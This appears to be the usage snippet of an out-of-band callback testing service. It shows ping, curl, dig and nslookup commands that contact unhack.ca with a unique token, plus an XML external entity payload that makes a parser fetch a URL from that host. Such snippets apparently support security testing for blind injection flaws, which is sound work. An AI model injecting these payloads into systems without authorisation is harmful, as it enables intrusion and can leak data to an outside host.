$ ping -c1 -p 00ddc56401798bb4a52d7d7c226bef00 unhack.ca
 

$ curl http://unhack.ca/p/ddc56401798bb4a52d7d7c226bef
 

$ dig ddc56401798bb4a52d7d7c226bef @unhack.ca
 

$ dig ddc56401798bb4a52d7d7c226bef.ns.unhack.ca
 

C:\> nslookup ddc56401798bb4a52d7d7c226bef unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ddc56401798bb4a52d7d7c226bef">]>
    <foo>&xxe;</foo>